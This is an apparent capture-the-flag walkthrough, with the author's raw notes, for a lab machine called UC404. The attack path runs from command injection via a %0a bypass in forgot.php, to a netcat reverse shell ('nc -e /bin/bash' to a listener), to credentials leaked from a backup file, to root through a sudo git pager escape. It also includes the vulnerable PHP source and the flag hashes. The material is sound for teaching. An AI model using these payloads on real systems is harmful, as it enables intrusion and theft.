Walkthrough
Exploitation Guide for UC404
Summary
This machine is exploited via OS command injection in a web application. It is escalated
by password disclosure and sudo misconfiguration.
Enumeration
Nmap
We start the enumeration process with a simple Nmap scan:
kali@kali:~$ sudo nmap 192.168.120.157
Starting Nmap 7.91 ( https://nmap.org ) at 2020-10-22 13:13 EDT
Nmap scan report for 192.168.120.157
Host is up (0.035s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
3128/tcp open squid-http
Gobuster
Navigating to port 80 (http://192.168.120.157/), we find an application named AdminLTE3.
We can use gobuster to bruteforce the site’s directories with the wordlist
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt:
kali@kali:~$ gobuster dir -u http://192.168.120.157 -w
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -z
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
...
/docs (Status: 301)
/pages (Status: 301)
/demo (Status: 301)
/plugins (Status: 301)
/db (Status: 301)
/dist (Status: 301)
/build (Status: 301)
/LICENSE (Status: 200)
/under_construction (Status: 301)
...
This scan reveals a hidden directory /under_construction.
Web Enumeration
Navigating to the discovered directory (http://192.168.120.157/under_construction/), we
find a login control and a link Forgot Password?. If we go there
(http://192.168.120.157/under_construction/forgot.php), we are presented with a form
asking us for an email address. The subtext says:
By clicking "Reset Password" we will send a password reset link
Viewing the source code of the page reveals the following comment:
<!--
______ __ __ _____ _ _______ _______ _______ ______ __ __
| ____| \/ | /\ |_ _| | / ____\ \ / / ____|__ __| ____| \/ |
| |__ | \ / | / \ | | | | | (___ \ \_/ / (___ | | | |__ | \ / |
| __| | |\/| | / /\ \ | | | | \___ \ \ / \___ \ | | | __| | |\/| |
| |____| | | |/ ____ \ _| |_| |____ ____) | | | ____) | | | | |____| | | |
|______|_| |_/_/ \_\_____|______| |_____/ |_| |_____/ |_| |______|_| |_|
---- Under Construction ----
sendmail.php must receive the variable from the html form and send the message.
|| For security reasons we are working to blacklist some characters ||
//-->
Could not open input file: sendmail.php
1
By analyzing the behavior of the page, we understand that the code is executing
commands by passing an argument to the sendmail.php page that does not exist.
Exploitation
Command Injection
We will set up our web browser to use Burp proxy to intercept and analyze our traffic.
Then, we will test the functionality of this form by inputting [email protected] in the email
field and submitting the form.
Viewing the captured request, we see that the body contains email=test%40email.com.
This seems like a good candidate to try command injection. Next, we will try to include the
variable email in a GET request and inject ; followed by the command id like so:
http://192.168.120.157/under_construction/forgot.php?email=;id
Viewing the server response, this does not seem to work - perhaps because some
dangerous characters have been blacklisted. Researching different bypasses for OS
command injection leads us to the character %0a. To confirm this, we can try the following
request:
http://192.168.120.157/under_construction/forgot.php?email=%0aid
If we look into the server response, we have obtained remote code execution on the
target:
HTTP/1.1 200 OK
Date: Thu, 22 Oct 2020 17:56:02 GMT
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding
Content-Length: 2783
Connection: close
Content-Type: text/html; charset=UTF-8
...
Could not open input file: sendmail.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
0
Reverse Shell
If we check whether netcat is present on the target, we find that it is:
http://192.168.120.157/under_construction/forgot.php?email=%0Awhich+nc
...
/usr/bin/nc
...
Leveraging netcat, we can easily obtain a reverse shell. First, we will set up a listener on
port 4444; then, we will issue the following request (be sure to swap your IP address):
http://192.168.120.157/under_construction/forgot.php?email=%0Anc
%20192.168.118.3%204444%20-e%20%2Fbin%2Fbash
And we have the reverse shell:
kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.157: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.157] 47038
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@UC404:/var/www/html/under_construction$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@UC404:/var/www/html/under_construction$
Escalation
Local Enumeration
Looking around the file system, we find an interesting file /var/backups/sendmail.php.bak:
www-data@UC404:/var/www/html/under_construction$ cd /var/backups
cd /var/backups
www-data@UC404:/var/backups$ ls -la
ls -la
total 28
drwxr-xr-x 2 root root 4096 Oct 23 07:38 .
drwxr-xr-x 12 root root 4096 Oct 22 11:16 ..
-rw-r--r-- 1 www-data www-data 787 Sep 18 10:21 sendmail.php.bak
www-data@UC404:/var/backups$
Looking inside it, we see the following code:
www-data@UC404:/var/backups$ cat sendmail.php.bak
cat sendmail.php.bak
<?php
if(isset($_POST['submit']))
{
$connect=mysql_connect("localhost","brian","BrianIsOnTheAir789") or die("Could not
connect to database");
mysql_select_db("uc404") or die(mysql_error());
...
?>www-data@UC404:/var/backups$
SSH
That looks like a password for the user brian. We can verify this by initiating an SSH
connection:
kali@kali:~$ ssh -o StrictHostKeyChecking=no [email protected]
...
brian@UC404:~$ id
uid=1001(brian) gid=1001(brian) groups=1001(brian)
brian@UC404:~$
Abusing Git Functionality
We will check what commands we can run with elevated privileges:
brian@UC404:~$ sudo -l
Matching Defaults entries for brian on UC404:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User brian may run the following commands on UC404:
(ALL) NOPASSWD: /usr/bin/git
brian@UC404:~$
We find that we are able to run /usr/bin/git without password prompt. This functionality can
be abused to grant us a root shell. We start with the following command:
brian@UC404:~$ sudo git help config
We will see output similar to the following:
GIT-CONFIG(1) Git Manual GIT-
CONFIG(1)
NAME
git-config - Get and set repository or global options
...
The line Manual page git-config(1) line 1 (press h for help or q to quit) will be highlighted.
Now, we can escape this screen into a new shell by issuing command !/bin/sh and hitting
the return key:
# id
uid=0(root) gid=0(root) groups=0(root)
#
$ nmap -sC -sV -A -Pn 192.168.105.109
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-13 14:06 EST
Nmap scan report for 192.168.105.109
Host is up (0.11s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-git:
| 192.168.105.109:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
| https://github.com/ColorlibHQ/AdminLTE.git
|_ Project type: Ruby on Rails web application (guessed from .gitignore)
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: AdminLTE 3 | Dashboard
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 42867/tcp6 mountd
| 100005 1,2,3 46048/udp mountd
| 100005 1,2,3 48122/udp6 mountd
| 100005 1,2,3 53373/tcp mountd
| 100021 1,3,4 38117/tcp nlockmgr
| 100021 1,3,4 44605/tcp6 nlockmgr
| 100021 1,3,4 45850/udp6 nlockmgr
| 100021 1,3,4 53873/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.35 seconds
@ http://192.168.105.109/ @ http://192.168.105.109/index.html
● AdminLTE3. AdminLTE Bootstrap Admin Dashboard Template https://adminlte.io/
● Source code: https://github.com/ColorlibHQ/AdminLTE, latest version 3.0.5
● Copyright © 2014-2020 AdminLTE.io. Version 3.1.0-pre
● No robots.txt
$ nikto -h 192.168.105.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.105.109
+ Target Hostname: 192.168.105.109
+ Target Port: 80
+ Start Time: 2020-11-13 14:08:03 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render
the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: ecd4, size:
5b2a601a8f6ab, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ X-XSS-Protection header has been set to disable XSS Protection. There is unlikely to be
a good reason for this.
+ OSVDB-3092: /db/: This might be interesting...
+ OSVDB-3268: /demo/: Directory indexing found.
+ OSVDB-3092: /demo/: This might be interesting...
+ OSVDB-3268: /pages/: Directory indexing found.
+ OSVDB-3092: /pages/: This might be interesting...
+ OSVDB-3268: /docs/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ /.git/config: Git config file found. Infos about repo details may be present.
+ /composer.json: PHP Composer configuration file reveals configuration information -
https://getcomposer.org/
+ /package.json: Node.js package file found. It may contain sensitive information.
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 7915 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time: 2020-11-13 14:25:09 (GMT-5) (1026 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
$ gobuster dir -u 192.168.105.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt -t 4 -q -x html,txt,php,asp,aspx
/index.html (Status: 200)
/docs (Status: 301)
/pages (Status: 301)
/index2.html (Status: 200)
/demo (Status: 301)
/plugins (Status: 301)
/db (Status: 301)
/index3.html (Status: 200)
/dist (Status: 301)
/build (Status: 301)
/LICENSE (Status: 200)
/starter.html (Status: 200)
/under_construction (Status: 301)
...
@ http://192.168.105.109/db/
● Adminer 4.7.7: Adminer is a tool for managing content in MySQL databases.
Adminer is distributed under Apache license in a form of a single PHP file.
https://www.adminer.org/
// Searchsploit Adminer found nothing
@ http://192.168.105.109/composer.json
// Searchsploit admin LTE found nothing
// Found .git repo @ http://192.168.188.109/.git/
// Download source code using DVCS-Pillage but run forever
$ ./gitpillage.sh http 192.168.188.109/
// NFS enumeration
$ showmount -e 192.168.105.109
@ http://192.168.188.109/under_construction/
-> Found this webpage that looks suspicious
● Title: Bootstrap 4 Login Page Snippet
@ http://192.168.188.109/under_construction/forgot.php
// View source found the comments:
<!--
______ __ __ _____ _ _______ _______ _______ ______ __ __
| ____| \/ | /\ |_ _| | / ____\ \ / / ____|__ __| ____| \/ |
| |__ | \ / | / \ | | | | | (___ \ \_/ / (___ | | | |__ | \ / |
| __| | |\/| | / /\ \ | | | | \___ \ \ / \___ \ | | | __| | |\/| |
| |____| | | |/ ____ \ _| |_| |____ ____) | | | ____) | | | | |____| | | |
|______|_| |_/_/ \_\_____|______| |_____/ |_| |_____/ |_| |______|_| |_|
---- Under Construction ----
sendmail.php must receive the variable from the html form and send the message.
|| For security reasons we are working to blacklist some characters ||
//-->
Could not open input file: sendmail.php
1
$ gobuster dir -u http://192.168.188.109/under_construction -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 4 -q -x html,txt,php
/index.php (Status: 200)
/img (Status: 301)
/register.html (Status: 200)
/css (Status: 301)
/js (Status: 301)
/forgot.php (Status: 200)
/LICENSE (Status: 200)
/reset.html (Status: 200)
...
@ http://192.168.188.109/under_construction/sendmail.php
@ http://192.168.188.109/under_construction//reset.html
@ http://192.168.188.109/under_construction//register.html -> here is the html form
mentioned in the comment ???
By analyzing the behavior of the page forgot.php, we understand that the code is
executing commands by passing an argument to the sendmail.php page that does not
exist. ???
// Enter “[email protected]” as Email Address, then click “Reset Password” and capture the
request via BurpSuite, we get the following request:
===================================
POST /under_construction/forgot.php HTTP/1.1
Host: 192.168.242.109
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.242.109/under_construction/forgot.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Connection: close
Upgrade-Insecure-Requests: 1
email=test%40test.com
===================================
Viewing the captured request, we see that the body contains email=test%40test.com.
This seems like a good candidate to try command injection. Next, we will try to include the
variable email in a GET request and inject “;” followed by the command id like so:
GET /under_construction/forgot.php?email=;id HTTP/1.1
@ http://192.168.242.109/under_construction/forgot.php?email=;id -> go to the original
forgot.php page and still get return code 1 (FALSE ???)
Viewing the server response, this does not seem to work - perhaps because some
dangerous characters have been blacklisted. Researching different bypasses for OS
command injection leads us to the character %0a (Line Feed -> end-of-line)
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
https://book.hacktricks.xyz/pentesting-web/command-injection
To confirm this, we can try the following request:
GET /under_construction/forgot.php?email=%0aid HTTP/1.1
// Now we get www-data and the return code is 0
// Check whether netcat is install, yes /usr/bin/nc
(Note that we need to URL encode the injected command that contains spaces)
GET /under_construction/forgot.php?email=%0awhich+nc HTTP/1.1
// Inject nc rev shell command
GET /under_construction/forgot.php?email=%0anc+-e+/bin/bash+192.168.49.242+4444
HTTP/1.1
// We get the rev shell on port 4444
// forgot.php
//-->
<?php
//system("php sendmail.php " . $_GET['email'], $output); print_r($output)
$badUrl = $_GET['email'];
$goodUrl = str_replace(';', '?', $badUrl);
system("php sendmail.php " . $goodUrl, $output); print_r($output);
?>
There is a home folder for user brian, no local.txt there
Local.txt: 5c41bc3e2ae400edfd902c544719184b
/var/www/html/under_construction/.git/config
-rw-r--r-- 1 www-data www-data 787 Sep 18 10:21 /var/backups/sendmail.php.bak
www-data@UC404:/tmp$ cat /var/backups/sendmail.php.bak
<?php
if(isset($_POST['submit']))
{
$connect=mysql_connect("localhost","brian","BrianIsOnTheAir789") or die("Could not
connect to database");
mysql_select_db("uc404") or die(mysql_error());
$email = $_POST['email'];
$sql= "SELECT `password` FROM `register` WHERE `email` ='.$email.'";
$query = mysql_query($sql);
if(!$query)
{
die(mysql_error());
}
if(mysql_affected_rows() != 0)
{
$row=mysql_fetch_array($query);
$password=$row["password"];
$email=$row["email"];
$subject="UC404 - Password Reset";
$header="From: [email protected]";
$content="Your password is ".$password;
mail($email, $subject, $content, $header);
print "An email containing the password has been sent to you";
}
else
{
echo("User not found.");
}
}
-> We found cred brian : BrianIsOnTheAir789
// We can login to brian’s shell using this password (aslo for SSH)
// Rerun linpeas.sh, found
User brian may run the following commands on UC404:
(ALL) NOPASSWD: /usr/bin/git
https://gtfobins.github.io/gtfobins/git/#sudo
$ sudo git branch --help config
!/bin/sh
Proof.txt: 00f146548bc540c9cd36501b9a70ab2f